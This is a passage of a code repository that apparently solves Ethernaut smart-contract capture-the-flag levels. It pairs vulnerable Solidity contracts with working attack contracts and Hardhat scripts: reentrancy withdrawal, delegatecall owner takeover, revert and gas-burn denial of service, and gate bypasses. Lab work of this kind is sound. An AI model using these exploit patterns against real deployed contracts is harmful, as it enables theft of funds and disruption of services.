| 14 | selfdestruct(target); 15 | } 16 | 17 | receive() external payable {} 18 | } -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/09_King.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract King { 5 | 6 | address payable king; 7 | uint public prize; 8 | address payable public owner; 9 | 10 | constructor() public payable { 11 | owner = msg.sender; 12 | king = msg.sender; 13 | prize = msg.value; 14 | } 15 | 16 | receive() external payable { 17 | require(msg.value >= prize || msg.sender == owner); 18 | king.transfer(msg.value); 19 | king = msg.sender; 20 | prize = msg.value; 21 | } 22 | 23 | function _king() public view returns (address payable) { 24 | return king; 25 | } 26 | } -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/09_KingAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | contract KingAttack { 6 | function attack(address payable target) external payable { 7 | (bool success,) = target.call.value(msg.value)(''); 8 | require(success, 'ether send failed'); 9 | } 10 | 11 | receive() external payable { 12 | revert(); 13 | } 14 | } -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/10_Reentrancy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "@openzeppelin/contracts/math/SafeMath.sol"; 5 | 6 | contract Reentrance { 7 | using SafeMath for uint256; 8 | mapping(address => uint256) public balances; 9 | 10 | function donate(address _to) public payable { 11 | balances[_to] = balances[_to].add(msg.value); 12 | } 13 | 14 | function balanceOf(address _who) public view returns (uint256 balance) { 15 | return balances[_who]; 16 | } 17 | 18 | function withdraw(uint256 _amount) public { 19 | if (balances[msg.sender] >= _amount) { 20 | (bool result, ) = msg.sender.call.value(_amount)(""); 21 | if (result) { 22 | _amount; 23 | } 24 | balances[msg.sender] -= _amount; 25 | } 26 | } 27 | 28 | receive() external payable {} 29 | } 30 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/10_ReentrancyAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | import "./10_Reentrancy.sol"; 5 | 6 | contract ReentrancyAttack { 7 | uint256 public reentrancyCount = 2; 8 | Reentrance public target; 9 | 10 | constructor(Reentrance _target) public { 11 | target = _target; 12 | } 13 | 14 | function attack() external { 15 | target.withdraw(0.0005 ether); 16 | } 17 | 18 | receive() external payable { 19 | if (reentrancyCount > 0) { 20 | reentrancyCount--; 21 | target.withdraw(0.0005 ether); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/11_Elevator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | interface Building { 5 | function isLastFloor(uint256) external returns (bool); 6 | } 7 | 8 | contract Elevator { 9 | bool public top; 10 | uint256 public floor; 11 | 12 | function goTo(uint256 _floor) public { 13 | Building building = Building(msg.sender); 14 | 15 | if (!building.isLastFloor(_floor)) { 16 | floor = _floor; 17 | top = building.isLastFloor(floor); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/11_ElevatorAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "./11_Elevator.sol"; 6 | 7 | contract ElevatorAttack { 8 | bool public firstCall = true; 9 | 10 | function attack(Elevator target) external { 11 | target.goTo(1); 12 | } 13 | 14 | function isLastFloor(uint256 floor) external returns (bool) { 15 | if (firstCall) { 16 | firstCall = false; 17 | return false; 18 | } else { 19 | return true; 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/12_Privacy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Privacy { 5 | bool public locked = true; 6 | uint256 public ID = block.timestamp; 7 | uint8 private flattening = 10; 8 | uint8 private denomination = 255; 9 | uint16 private awkwardness = uint16(now); 10 | bytes32[3] private data; 11 | 12 | constructor(bytes32[3] memory _data) public { 13 | data = _data; 14 | } 15 | 16 | function unlock(bytes16 _key) public { 17 | require(_key == bytes16(data[2])); 18 | locked = false; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/13_GatekeeperOne.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "@openzeppelin/contracts/math/SafeMath.sol"; 5 | import "hardhat/console.sol"; 6 | 7 | contract GatekeeperOne { 8 | using SafeMath for uint256; 9 | address public entrant; 10 | 11 | modifier gateOne() { 12 | require(msg.sender != tx.origin); 13 | _; 14 | } 15 | 16 | modifier gateTwo() { 17 | require(gasleft().mod(8191) == 0, "invalid gas modulus"); 18 | _; 19 | } 20 | 21 | modifier gateThree(bytes8 _gateKey) { 22 | require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); 23 | require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); 24 | require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three"); 25 | _; 26 | } 27 | 28 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 29 | entrant = tx.origin; 30 | return true; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/13_GatekeeperOneAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "./13_GatekeeperOne.sol"; 6 | 7 | contract GatekeeperOneAttack { 8 | GatekeeperOne public target; 9 | 10 | constructor(address _target) public { 11 | target = GatekeeperOne(_target); 12 | } 13 | 14 | function attack(bytes8 key, uint256 gasLimit) public { 15 | target.enter.gas(gasLimit)(key); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/14_GatekeeperTwo.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "hardhat/console.sol"; 5 | 6 | contract GatekeeperTwo { 7 | address public entrant; 8 | 9 | modifier gateOne() { 10 | require(msg.sender != tx.origin, "gate one"); 11 | _; 12 | } 13 | 14 | modifier gateTwo() { 15 | uint256 x; 16 | assembly { 17 | x := extcodesize(caller()) 18 | } 19 | require(x == 0, "gate two"); 20 | _; 21 | } 22 | 23 | modifier gateThree(bytes8 _gateKey) { 24 | console.logBytes8(_gateKey); 25 | console.logBytes8(bytes8(keccak256(abi.encodePacked(msg.sender)))); 26 | require( 27 | uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1, 28 | "gate three" 29 | ); 30 | _; 31 | } 32 | 33 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 34 | entrant = tx.origin; 35 | return true; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/14_GatekeeperTwoAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "./14_GatekeeperTwo.sol"; 6 | 7 | contract GatekeeperTwoAttack { 8 | constructor(address _target) public { 9 | GatekeeperTwo target = GatekeeperTwo(_target); 10 | uint64 mask = uint64(0) - 1; 11 | uint64 preKey = uint64(bytes8(keccak256(abi.encodePacked(address(this))))); 12 | uint64 key = preKey ^ mask; 13 | target.enter(bytes8(key)); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/15_NaughtCoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.2; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | 6 | contract NaughtCoin is ERC20 { 7 | // string public constant name = 'NaughtCoin'; 8 | // string public constant symbol = '0x0'; 9 | // uint public constant decimals = 18; 10 | uint256 public timeLock = now + 10 * 365 days; 11 | uint256 public INITIAL_SUPPLY; 12 | address public player; 13 | 14 | constructor(address _player) public ERC20("NaughtCoin", "0x0") { 15 | player = _player; 16 | INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); 17 | // _totalSupply = INITIAL_SUPPLY; 18 | // _balances[player] = INITIAL_SUPPLY; 19 | _mint(player, INITIAL_SUPPLY); 20 | emit Transfer(address(0), player, INITIAL_SUPPLY); 21 | } 22 | 23 | function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { 24 | super.transfer(_to, _value); 25 | } 26 | 27 | // Prevent the initial owner from transferring tokens until the timelock has passed 28 | modifier lockTokens() { 29 | if (msg.sender == player) { 30 | require(now > timeLock); 31 | _; 32 | } else { 33 | _; 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/16_Preservation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Preservation { 5 | // public library contracts 6 | address public timeZone1Library; 7 | address public timeZone2Library; 8 | address public owner; 9 | uint256 storedTime; 10 | // Sets the function signature for delegatecall 11 | bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); 12 | 13 | constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { 14 | timeZone1Library = _timeZone1LibraryAddress; 15 | timeZone2Library = _timeZone2LibraryAddress; 16 | owner = msg.sender; 17 | } 18 | 19 | // set the time for timezone 1 20 | function setFirstTime(uint256 _timeStamp) public { 21 | timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 22 | } 23 | 24 | // set the time for timezone 2 25 | function setSecondTime(uint256 _timeStamp) public { 26 | timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 27 | } 28 | } 29 | 30 | // Simple library contract to set the time 31 | contract LibraryContract { 32 | // stores a timestamp 33 | uint256 storedTime; 34 | 35 | function setTime(uint256 _time) public { 36 | storedTime = _time; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/16_PreservationAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "./16_Preservation.sol"; 6 | 7 | contract PreservationAttack { 8 | address public placeholder1; 9 | address public placeholder2; 10 | address public targetOwner; 11 | Preservation public target; 12 | 13 | constructor(address _target) public { 14 | target = Preservation(_target); 15 | } 16 | 17 | function attack() public { 18 | target.setFirstTime(uint256(address(this))); 19 | target.setFirstTime(uint256(uint160(msg.sender))); 20 | } 21 | 22 | function setTime(uint256 attackerAddress) public { 23 | targetOwner = address(uint160(attackerAddress)); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/17_Recovery.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "@openzeppelin/contracts/math/SafeMath.sol"; 5 | 6 | contract Recovery { 7 | //generate tokens 8 | function generateToken(string memory _name, uint256 _initialSupply) public { 9 | new SimpleToken(_name, msg.sender, _initialSupply); 10 | } 11 | } 12 | 13 | contract SimpleToken { 14 | using SafeMath for uint256; 15 | // public variables 16 | string public name; 17 | mapping(address => uint256) public balances; 18 | 19 | // constructor 20 | constructor( 21 | string memory _name, 22 | address _creator, 23 | uint256 _initialSupply 24 | ) public { 25 | name = _name; 26 | balances[_creator] = _initialSupply; 27 | } 28 | 29 | // collect ether in return for tokens 30 | receive() external payable { 31 | balances[msg.sender] = msg.value.mul(10); 32 | } 33 | 34 | // allow transfers of tokens 35 | function transfer(address _to, uint256 _amount) public { 36 | require(balances[msg.sender] >= _amount); 37 | balances[msg.sender] = balances[msg.sender].sub(_amount); 38 | balances[_to] = _amount; 39 | } 40 | 41 | // clean up after ourselves 42 | function destroy(address payable _to) public { 43 | selfdestruct(_to); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/18_MagicNumber.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract MagicNumber { 5 | address public solver; 6 | 7 | constructor() public {} 8 | 9 | function setSolver(address _solver) public { 10 | solver = _solver; 11 | } 12 | 13 | /* 14 | ____________/\\\_______/\\\\\\\\\_____ 15 | __________/\\\\\_____/\\\///////\\\___ 16 | ________/\\\/\\\____\///______\//\\\__ 17 | ______/\\\/\/\\\______________/\\\/___ 18 | ____/\\\/__\/\\\___________/\\\//_____ 19 | __/\\\\\\\\\\\\\\\\_____/\\\//________ 20 | _\///////////\\\//____/\\\/___________ 21 | ___________\/\\\_____/\\\\\\\\\\\\\\\_ 22 | ___________\///_____\///////////////__ 23 | */ 24 | } 25 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/18_MagicNumberSolver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract MagicNumberSolver { 5 | function whatIsTheMeaningOfLife() public pure returns (uint256) { 6 | return 42; 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/20_Denial.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "@openzeppelin/contracts/math/SafeMath.sol"; 5 | 6 | contract Denial { 7 | using SafeMath for uint256; 8 | address public partner; // withdrawal partner - pay the gas, split the withdraw 9 | address payable public constant owner = address(0xA9E); 10 | uint256 timeLastWithdrawn; 11 | mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances 12 | 13 | function setWithdrawPartner(address _partner) public { 14 | partner = _partner; 15 | } 16 | 17 | // withdraw 1% to recipient and 1% to owner 18 | function withdraw() public { 19 | uint256 amountToSend = address(this).balance.div(100); 20 | // perform a call without checking return 21 | // The recipient can revert, the owner will still get their share 22 | partner.call.value(amountToSend)(""); 23 | owner.transfer(amountToSend); 24 | // keep track of last withdrawal time 25 | timeLastWithdrawn = now; 26 | withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); 27 | } 28 | 29 | // allow deposit of funds 30 | receive() external payable {} 31 | 32 | // convenience function 33 | function contractBalance() public view returns (uint256) { 34 | return address(this).balance; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/20_DenialAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | contract DenialAttack { 6 | receive() external payable { 7 | while (true) {} 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/21_Shop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | interface Buyer { 5 | function price() external view returns (uint256); 6 | } 7 | 8 | contract Shop { 9 | uint256 public price = 100; 10 | bool public isSold; 11 | 12 | function buy() public { 13 | Buyer _buyer = Buyer(msg.sender); 14 | 15 | if (_buyer.price() >= price && !isSold) { 16 | isSold = true; 17 | price = _buyer.price(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/21_ShopAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "./21_Shop.sol"; 6 | 7 | contract ShopAttack { 8 | Shop target; 9 | 10 | constructor(address payable _target) public { 11 | target = Shop(_target); 12 | } 13 | 14 | function buy() public { 15 | target.buy(); 16 | } 17 | 18 | function price() public view returns (uint256) { 19 | if (target.isSold()) { 20 | return 0; 21 | } else { 22 | return 100; 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/Calldata.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "hardhat/console.sol"; 4 | 5 | contract Calldata { 6 | function logCallData(uint256 number, string memory str) public view returns (bytes memory) { 7 | return msg.data; 8 | } 9 | 10 | function getDelegated() public returns (bool) { 11 | (bool result, ) = address(this).delegatecall(abi.encodeWithSignature("get()")); 12 | return result; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /ethernaut_challenges/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import '@typechain/hardhat' 2 | import '@atixlabs/hardhat-time-n-mine' 3 | import '@atixlabs/hardhat-time-n-mine/dist/src/type-extensions' 4 | import '@nomiclabs/hardhat-waffle' 5 | import dotenv from 'dotenv' 6 | import 'hardhat-gas-reporter' 7 | import 'hardhat-tracer' 8 | import { task } from 'hardhat/config' 9 | 10 | dotenv.config() 11 | 12 | // This is a sample Hardhat task. To learn how to create your own go to 13 | // https://hardhat.org/guides/create-task.html 14 | task('accounts', 'Prints the list of accounts', async (args, hre) => { 15 | const accounts = await hre.ethers.getSigners() 16 | 17 | for (const account of accounts) { 18 | console.log(await account.address) 19 | } 20 | }) 21 | 22 | // You need to export an object to set up your config 23 | // Go to https://hardhat.org/config/ to learn more 24 | 25 | export default { 26 | solidity: { 27 | compilers: [ 28 | { 29 | version: '0.8.7', 30 | settings: { 31 | outputSelection: { 32 | '*': { 33 | '*': ['storageLayout'], 34 | }, 35 | }, 36 | }, 37 | }, 38 | { 39 | version: '0.6.2', 40 | settings: { 41 | outputSelection: { 42 | '*': { 43 | '*': ['storageLayout', 'evm.bytecode.opcodes'], 44 | }, 45 | }, 46 | }, 47 | }, 48 | { 49 | version: '0.5.0', 50 | settings: { 51 | outputSelection: { 52 | '*': { 53 | '*': ['storageLayout', 'evm.bytecode.opcodes'], 54 | }, 55 | }, 56 | }, 57 | }, 58 | ], 59 | }, 60 | networks: { 61 | ropsten: { 62 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 63 | accounts: [process.env.PRIVATE_KEY_1, process.env.PRIVATE_KEY_2], 64 | }, 65 | rinkeby: { 66 | url: `https://eth-rinkeby.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 67 | accounts: [process.env.PRIVATE_KEY_1, process.env.PRIVATE_KEY_2], 68 | }, 69 | }, 70 | } 71 | -------------------------------------------------------------------------------- /ethernaut_challenges/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.2", 5 | "@nomiclabs/hardhat-waffle": "^2.0.1", 6 | "@types/chai": "^4.2.21", 7 | "@types/mocha": "^9.0.0", 8 | "@types/node": "^16.7.1", 9 | "chai": "^4.3.4", 10 | "dotenv": "^10.0.0", 11 | "ethereum-waffle": "^3.4.0", 12 | "hardhat": "^2.6.4", 13 | "hardhat-gas-reporter": "^1.0.4", 14 | "prettier": "^2.4.1", 15 | "prettier-plugin-solidity": "^1.0.0-beta.18", 16 | "solc": "0.8.7", 17 | "ts-node": "^10.2.1", 18 | "typescript": "^4.3.5" 19 | }, 20 | "dependencies": { 21 | "@atixlabs/hardhat-time-n-mine": "^0.0.5", 22 | "@defi-wonderland/smock": "^2.0.7", 23 | "@openzeppelin/contracts": "3.2.0", 24 | "@typechain/ethers-v5": "^8.0.5", 25 | "@typechain/hardhat": "^3.1.0", 26 | "@types/lodash": "^4.14.178", 27 | "hardhat-tracer": "^1.0.0-alpha.6", 28 | "keccak256": "^1.0.3", 29 | "lodash": "^4.17.21", 30 | "openzeppelin-solidity": "^4.3.1", 31 | "typechain": "^6.1.0" 32 | }, 33 | "scripts": { 34 | "test": "nodemon -e ts,sol --exec hh test" 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/03_coinflip.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { getEthernautContract, loadOrCreateLevelInstance } from './ethernaut' 4 | import { loadOrDeployContract } from './helpers' 5 | 6 | let signer: Signer 7 | const levelAddress = '0x4dF32584890A0026e56f7535d0f2C6486753624f' 8 | 9 | const main = async () => { 10 | signer = (await ethers.getSigners())[0] as Signer 11 | 12 | const ethernautContract = getEthernautContract(signer) 13 | const targetContract = await loadOrCreateLevelInstance('CoinFlip', levelAddress, signer) 14 | const attackContract = await loadOrDeployContract('CoinFlipAttack', [targetContract.address], signer) 15 | 16 | for (let i = 0; i < 10; i++) { 17 | const guessTx = await attackContract.guess({ gasLimit: 200_000 }) 18 | console.log('guess tx hash', guessTx.hash) 19 | const guessReceipt = await guessTx.wait() 20 | console.log(JSON.stringify(guessReceipt, null, 2)) 21 | 22 | console.log('Consecutive wins: ', (await targetContract.consecutiveWins()).toString()) 23 | } 24 | 25 | const submitTx = await ethernautContract.submitLevelInstance(targetContract.address) 26 | const submitReceipt = await submitTx.wait() 27 | 28 | console.log(JSON.stringify(submitReceipt, null, 2)) 29 | } 30 | 31 | main() 32 | .then(() => process.exit()) 33 | .catch(e => { 34 | console.error(e) 35 | process.exit(1) 36 | }) 37 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/04_telephone.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { createLevelInstance, getEthernautContract, submitLevelInstance } from './ethernaut' 4 | import { deployContract } from './helpers' 5 | 6 | const levelAddress = '0x0b6F6CE4BCfB70525A31454292017F640C10c768' 7 | 8 | const main = async () => { 9 | const signer = (await ethers.getSigners())[0] as Signer 10 | 11 | // await loadOrDeployContract( 12 | // 'TelephoneAttack', 13 | // ['0x0b6F6CE4BCfB70525A31454292017F640C10c768', await signer.getAddress()], 14 | // signer, 15 | // ) 16 | 17 | const ethernautContract = getEthernautContract(signer) 18 | const targetContract = await createLevelInstance('Telephone', levelAddress, signer) 19 | 20 | console.log(`Current target owner: ${await targetContract.owner()}`) 21 | 22 | const attackContract = await deployContract('TelephoneAttack', [], signer) 23 | 24 | const attackTx = await attackContract.attack(targetContract.address, await signer.getAddress()) 25 | console.log(`Attack tx id: ${attackTx.hash}`) 26 | 27 | const attackRcpt = await attackTx.wait() 28 | console.log(`Attack receipt ${JSON.stringify(attackRcpt, null, 2)}`) 29 | 30 | console.log(`Current target owner: ${await targetContract.owner()}`) 31 | 32 | await submitLevelInstance(targetContract.address, signer) 33 | } 34 | 35 | main() 36 | .then(() => process.exit()) 37 | .catch(e => { 38 | console.error(e) 39 | process.exit(1) 40 | }) 41 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/05_token.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { createLevelInstance, submitLevelInstance } from './ethernaut' 4 | 5 | const levelAddress = '0x63bE8347A617476CA461649897238A31835a32CE' 6 | 7 | const main = async () => { 8 | const signer = (await ethers.getSigners())[0] as Signer 9 | const otherSigner = (await ethers.getSigners())[1] as Signer 10 | 11 | const targetContract = await createLevelInstance('Token', levelAddress, signer) 12 | 13 | const printBalances = async () => { 14 | console.log('Total supply: ', (await targetContract.totalSupply()).toString()) 15 | console.log('Signer balance: ', (await targetContract.balanceOf(await signer.getAddress())).toString()) 16 | console.log('otherSigner balance: ', (await targetContract.balanceOf(await otherSigner.getAddress())).toString()) 17 | } 18 | 19 | await printBalances() 20 | 21 | const transferTx = await targetContract.connect(otherSigner as any).transfer(await signer.getAddress(), 21) 22 | await transferTx.wait() 23 | 24 | await printBalances() 25 | 26 | await submitLevelInstance(targetContract.address, signer) 27 | } 28 | 29 | main() 30 | .then(() => process.exit()) 31 | .catch(e => { 32 | console.error(e) 33 | process.exit(1) 34 | }) 35 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/06_delegation.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { Delegate, Delegate__factory } from '../typechain-types' 4 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 5 | 6 | const levelAddress = '0x9451961b7Aea1Df57bc20CC68D72f662241b5493' 7 | 8 | const main = async () => { 9 | const signer = (await ethers.getSigners())[0] as Signer 10 | 11 | const targetContract = await loadOrCreateLevelInstance('Delegation', levelAddress, signer) 12 | 13 | console.log('Owner: ', await targetContract.owner()) 14 | 15 | const provider = ethers.getDefaultProvider() 16 | const abi = ['function pwn()'] 17 | const contract = new ethers.Contract(targetContract.address, Delegate__factory.abi, signer as any) 18 | 19 | const tx = await contract.pwn({ gasLimit: 100000 }) 20 | console.log('PWN id: ', tx.hash) 21 | await tx.wait() 22 | 23 | console.log('Owner: ', await targetContract.owner()) 24 | 25 | await submitLevelInstance(targetContract.address, signer) 26 | } 27 | 28 | main() 29 | .then(() => process.exit()) 30 | .catch(e => { 31 | console.error(e) 32 | process.exit(1) 33 | }) 34 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/07_force.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { ForceAttack } from '../typechain-types' 4 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 5 | import { loadOrDeployContract } from './helpers' 6 | 7 | const levelAddress = '0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99ea' 8 | 9 | const main = async () => { 10 | const signer = (await ethers.getSigners())[0] as Signer 11 | 12 | const targetContract = await loadOrCreateLevelInstance('Force', levelAddress, signer) 13 | const attackContract = (await loadOrDeployContract('ForceAttack', [targetContract.address], signer)) as ForceAttack 14 | 15 | console.log('Target contract balance: ', await ethers.provider.getBalance(targetContract.address)) 16 | 17 | const sendEtherTx = await signer.sendTransaction({ to: attackContract.address, value: 100, gasLimit: 100000 }) 18 | console.log('Send ether tx id: ', sendEtherTx.hash) 19 | await sendEtherTx.wait() 20 | 21 | const destructTx = await attackContract.boom() 22 | console.log('Boom tx id: ', destructTx.hash) 23 | await destructTx.wait() 24 | 25 | console.log('Target contract balance: ', await ethers.provider.getBalance(targetContract.address)) 26 | 27 | await submitLevelInstance(targetContract.address, signer) 28 | } 29 | 30 | main() 31 | .then(() => process.exit()) 32 | .catch(e => { 33 | console.error(e) 34 | process.exit(1) 35 | }) 36 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/09_king.ts: -------------------------------------------------------------------------------- 1 | import { util } from 'chai' 2 | import { Signer } from 'ethers' 3 | import { ethers } from 'hardhat' 4 | import { ForceAttack } from '../typechain-types' 5 | import { King } from '../typechain-types/King' 6 | import { KingAttack } from '../typechain-types/KingAttack' 7 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 8 | import { loadOrDeployContract } from './helpers' 9 | 10 | const levelAddress = '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5' 11 | 12 | const main = async () => { 13 | const signer = (await ethers.getSigners())[0] as Signer 14 | 15 | const targetContract = (await loadOrCreateLevelInstance('King', levelAddress, signer, { 16 | value: ethers.utils.parseEther('0.001'), 17 | })) as King 18 | const attackContract = (await loadOrDeployContract('KingAttack', [], signer)) as KingAttack 19 | 20 | console.log('Target king: ', await targetContract._king()) 21 | console.log('Target prize: ', await targetContract.prize()) 22 | 23 | const attackTx = await attackContract.attack(targetContract.address, { 24 | value: ethers.utils.parseEther('0.0011'), 25 | }) 26 | console.log('Attack tx id: ', attackTx.hash) 27 | await attackTx.wait() 28 | 29 | console.log('Target king: ', await targetContract._king()) 30 | 31 | await submitLevelInstance(targetContract.address, signer) 32 | } 33 | 34 | main() 35 | .then(() => process.exit()) 36 | .catch(e => { 37 | console.error(e) 38 | process.exit(1) 39 | }) 40 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/10_reentrancy.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { Reentrance } from '../typechain-types/Reentrance' 4 | import { ReentrancyAttack } from '../typechain-types/ReentrancyAttack' 5 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 6 | import { loadOrDeployContract } from './helpers' 7 | 8 | const levelAddress = '0xe6BA07257a9321e755184FB2F995e0600E78c16D' 9 | 10 | const main = async () => { 11 | const signer = (await ethers.getSigners())[0] as Signer 12 | 13 | const targetContract = (await loadOrCreateLevelInstance('Reentrance', levelAddress, signer, { 14 | value: ethers.utils.parseEther('0.001'), 15 | })) as Reentrance 16 | const attackContract = (await loadOrDeployContract( 17 | 'ReentrancyAttack', 18 | [targetContract.address], 19 | signer, 20 | )) as ReentrancyAttack 21 | 22 | const donateTx = await targetContract.donate(attackContract.address, { value: ethers.utils.parseEther('0.0005') }) 23 | console.log('Donate tx id: ', donateTx.hash) 24 | await donateTx.wait() 25 | 26 | console.log('Target balance: ', await ethers.provider.getBalance(targetContract.address)) 27 | console.log('Attack balance: ', await targetContract.balanceOf(attackContract.address)) 28 | 29 | const attackTx = await attackContract.attack() 30 | console.log('Attack tx id: ', attackTx.hash) 31 | await attackTx.wait() 32 | 33 | console.log('Target balance: ', await ethers.provider.getBalance(targetContract.address)) 34 | console.log('Attack balance: ', await targetContract.balanceOf(attackContract.address)) 35 | 36 | await submitLevelInstance(targetContract.address, signer) 37 | } 38 | 39 | main() 40 | .then(() => process.exit()) 41 | .catch(e => { 42 | console.error(e) 43 | process.exit(1) 44 | }) 45 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/11_elevator.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } 